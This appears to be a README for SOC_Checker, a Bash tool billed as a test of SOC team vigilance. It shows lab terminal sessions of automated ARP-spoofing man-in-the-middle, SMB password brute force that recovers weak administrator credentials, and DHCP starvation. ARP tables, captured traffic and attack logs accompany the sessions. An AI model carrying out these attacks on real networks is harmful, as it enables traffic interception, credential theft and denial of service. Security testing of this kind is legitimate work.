

SOC_Checker is an automatic attack system.

Might be used to check SOC teams vigilance. Available attacks - Men in the Middle, SMB Brute-Force, DHCP starvation. The script checks if necessary tools are installed and if not installs them.

```
(kali@kali)-[~/Desktop]
$ ./SOC_Checker.sh

Welcome to SOC
Checker

[>] Please enter network range:192.168.49.0/24
[>] Please enter a name for the output directory:19.06
[*] Logs will be saved in /home/kali/Desktop/Checker/19.06

[*] ATTACKS:
[>] 1 - Men in the Middle Attack - intercept data exchange between the user and router.
[>] 2 - SMB Brute-Force Attack - exploit SMB protocol weakness to brute-force user credentials.
[>] 3 - DHCP starvation - flood a DHCP server with request packets until it exhausts its scope of IP addresses.
[>] 4 - Choose attack randomly
[>] 5 - Exit
Enter your choice (1-5): 1
[*] You selected Men in the Middle Attack
Getting ready: looking for live hosts
```

Men in the Middle Attack (ARP poisoning tactic) – enable routing, launch attack with arpspoofing and urlsnarf. User can press S at any time to stop the attack. Once the attack is completed disable routing to restore default settings. Log the attack.

```
Getting ready: looking for live hosts
Found the following hosts:
1. 192.168.49.143
2. 192.168.49.145
3. Random choice

Enter the number of the target IP (or choose 'Random choice'): 2
[*] Target IP is: 192.168.49.145
[*] Default Gateway is: 192.168.49.2
[sudo] password for kali:
1
[+] Routing enabled

[*] Starting ...
[+] MITM attack initiated. Arpspoofing running in background.
[+] Starting Urlsnarf to monitor...Press S at any moment to stop the attack
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
gatedesc0b.xml HTTP/1.1" - - "-" "Microsoft-Windows/10.0 UPnP/1.0" 192.168.49.145 - - [19/Jun/2024:05:13:20 -0400] "GET http://10.100.102.1:4915
192.168.49.145 - - [19/Jun/2024:05:13:38 -0400] "GET http://msedge.b.tlu.dl.de
```

On the target side before MITM attack:

(attacker IP – 192.168.49.142; default gateway – 192.168.49.2, different MAC addresses)

```
C:\Users\test>arp -a

Interface: 192.168.49.145 --- 0x4

    Internet Address      Physical Address      Type
    -----
    192.168.49.2          00-50-56-e6-12-25    dynamic
    192.168.49.142       00-0c-29-f5-6c-b3    dynamic
    192.168.49.255       ff-ff-ff-ff-ff-ff    static
    224.0.0.22            01-00-5e-00-00-16    static
    224.0.0.251          01-00-5e-00-00-fb    static
    224.0.0.252          01-00-5e-00-00-fc    static
    239.255.255.250      01-00-5e-7f-ff-fa    static
    255.255.255.255      ff-ff-ff-ff-ff-ff    static
```

After:

(MAC address duplication)

```
C:\Users\test>arp -a

Interface: 192.168.49.145 --- 0x4

    Internet Address      Physical Address      Type
    -----
    192.168.49.2          00-0c-29-f5-6c-b3    dynamic
    192.168.49.142       00-0c-29-f5-6c-b3    dynamic
    192.168.49.255       ff-ff-ff-ff-ff-ff    static
    224.0.0.22            01-00-5e-00-00-16    static
    224.0.0.251          01-00-5e-00-00-fb    static
    224.0.0.252          01-00-5e-00-00-fc    static
    239.255.255.250      01-00-5e-7f-ff-fa    static
    255.255.255.255      ff-ff-ff-ff-ff-ff    static
```

SMB Brute-Force attack: crackmapexec against hosts with 445 (SMB) port open. User can submit users and password list. If no list is submitted – download and use lists from GitHub.

```
Attack stopped
0
[+] Routing disabled to restore default settings

[*] ATTACKS:
[+] 1 - Men in the Middle Attack - intercept data exchange between the user and router.
[+] 2 - SMB Brute-Force Attack - exploit SMB protocol weakness to brute-force user credentials.
[+] 3 - DHCP starvation - flood a DHCP server with request packets until it exhausts its scope of IP addresses.
[+] 4 - Choose attack randomly
[+] 5 - Exit
Enter your choice (1-5): 2

[*] You selected SMB Brute-Force Attack

[*] Scanning for hosts running SMB service
Found the following hosts:
1. 192.168.49.1
2. 192.168.49.143
3. 192.168.49.145
4. Random choice
Enter the number of the target IP (or choose 'Random choice'): 2
```

Weak credentials found:

```
Enter the number of the target IP (or choose 'Random choice'): 2
Selected IP: 192.168.49.143
[+] Do you want to submit users list? [y/n]y
[+] Please upload users list into /home/kali/Desktop/Checker/19.06
[+] Once uploaded, enter file name:users
[+] You submitted: users
[+] Do you want to submit passwords list? [y/n]y
[+] Please upload passwords list into /home/kali/Desktop/Checker/19.06
[+] Once uploaded, enter file name:pass
[+] You submitted: pass
[*] Starting SMB Brute-Force Attack
[+] Identified credentials:
SMB 192.168.49.143 445 DESKTOP-HK53THV [+] DESKTOP-HK53THV\administrator:qwerty (Pwn3d!)
SMB 192.168.49.143 445 DESKTOP-HK53THV [+] DESKTOP-HK53THV\soc:12345
[+] Attack completed
```

DHCP starvation attack:

```
[*] ATTACKS:
[+] 1 - Men in the Middle Attack - intercept data exchange between the user and router.
[+] 2 - SMB Brute-Force Attack - exploit SMB protocol weakness to brute-force user credentials.
[+] 3 - DHCP starvation - flood a DHCP server with request packets until it exhausts its scope of IP addresses.
[+] 4 - Choose attack randomly
[+] 5 - Exit
Enter your choice (1-5): 3

[*] You selected DHCP starvation Attack

[*] Starting...Press S at any moment to stop the attack
05:16:07 06/19/24: got address 192.168.49.154 for 00:16:36:f0:42:2d from 192.168.49.254
05:16:08 06/19/24: got address 192.168.49.173 for 00:16:36:30:8d:85 from 192.168.49.254
05:16:09 06/19/24: got address 192.168.49.176 for 00:16:36:02:9e:d4 from 192.168.49.254
05:16:10 06/19/24: got address 192.168.49.177 for 00:16:36:e9:03:03 from 192.168.49.254
05:16:11 06/19/24: got address 192.168.49.179 for 00:16:36:f9:d6:f9 from 192.168.49.254
```

DHCP starvation attack monitored in Wireshark:

No.	Time	Source	Destination	Protocol	Length	User-Agent	Flags	Info
364	20.023703106	0.0.0.0	255.255.255.255	DHCP	286			DHCP Discover - Transaction ID 0xac25e43a
369	21.019777794	192.168.49.254	192.168.49.227	DHCP	353			DHCP Offer - Transaction ID 0xac25e43a
373	21.022409861	0.0.0.0	255.255.255.255	DHCP	304			DHCP Request - Transaction ID 0xac25e43a
374	21.022770770	192.168.49.254	192.168.49.227	DHCP	353			DHCP ACK - Transaction ID 0xac25e43a
376	21.030284363	0.0.0.0	255.255.255.255	DHCP	286			DHCP Discover - Transaction ID 0xa1f7ee0b
381	21.569141244	192.168.49.254	192.168.49.228	DHCP	353			DHCP Offer - Transaction ID 0xa1f7ee0b
382	21.570264272	0.0.0.0	255.255.255.255	DHCP	304			DHCP Request - Transaction ID 0xa1f7ee0b
383	21.570672982	192.168.49.254	192.168.49.228	DHCP	353			DHCP ACK - Transaction ID 0xa1f7ee0b
384	21.571373100	0.0.0.0	255.255.255.255	DHCP	286			DHCP Discover - Transaction ID 0x6394f403
394	22.577268169	192.168.49.254	192.168.49.229	DHCP	353			DHCP Offer - Transaction ID 0x6394f403
395	22.578243493	0.0.0.0	255.255.255.255	DHCP	304			DHCP Request - Transaction ID 0x6394f403
396	22.584157440	192.168.49.254	192.168.49.229	DHCP	353			DHCP ACK - Transaction ID 0x6394f403
397	22.586027186	0.0.0.0	255.255.255.255	DHCP	286			DHCP Discover - Transaction ID 0x3b8e7c7f
406	23.577142409	192.168.49.254	192.168.49.230	DHCP	353			DHCP Offer - Transaction ID 0x3b8e7c7f

```
05:17:07 06/19/24: got address 192.168.49.237 for 00:16:36:9a:69:33 from 192.168.49.254
05:17:08 06/19/24: got address 192.168.49.238 for 00:16:36:78:70:be from 192.168.49.254
Attack stopped

[*] ATTACKS:
[→] 1 - Men in the Middle Attack - intercept data exchange between the user and router.
[→] 2 - SMB Brute-Force Attack - exploit SMB protocol weakness to brute-force user credentials.
[→] 3 - DHCP starvation - flood a DHCP server with request packets until it exhausts its scope of IP addresses.
[→] 4 - Choose attack randomly
[→] 5 - Exit
Enter your choice (1-5): 5

[*] Log is saved in /home/kali/Desktop/Checker/19.06. Exiting...
```

Attacks Log:

```
└─$ cat log.txt
Men in the Middle
Start: Wed Jun 19 05:11:35 AM EDT 2024
Target: 192.168.49.145
End: Wed Jun 19 05:14:11 AM EDT 2024
SMB Brute-Force
Start: Wed Jun 19 05:15:36 AM EDT 2024
Target:
Identified credentials:
SMB      192.168.49.143  445    DESKTOP-HK53THV  [+] DESKTOP-HK53THV\administrator:qwerty (Pwn3d!)
SMB      192.168.49.143  445    DESKTOP-HK53THV  [+] DESKTOP-HK53THV\soc:12345
End: Wed Jun 19 05:15:53 AM EDT 2024
DHCP starvation Attack
Start: Wed Jun 19 05:16:06 AM EDT 2024
Target:
End: Wed Jun 19 05:17:08 AM EDT 2024
```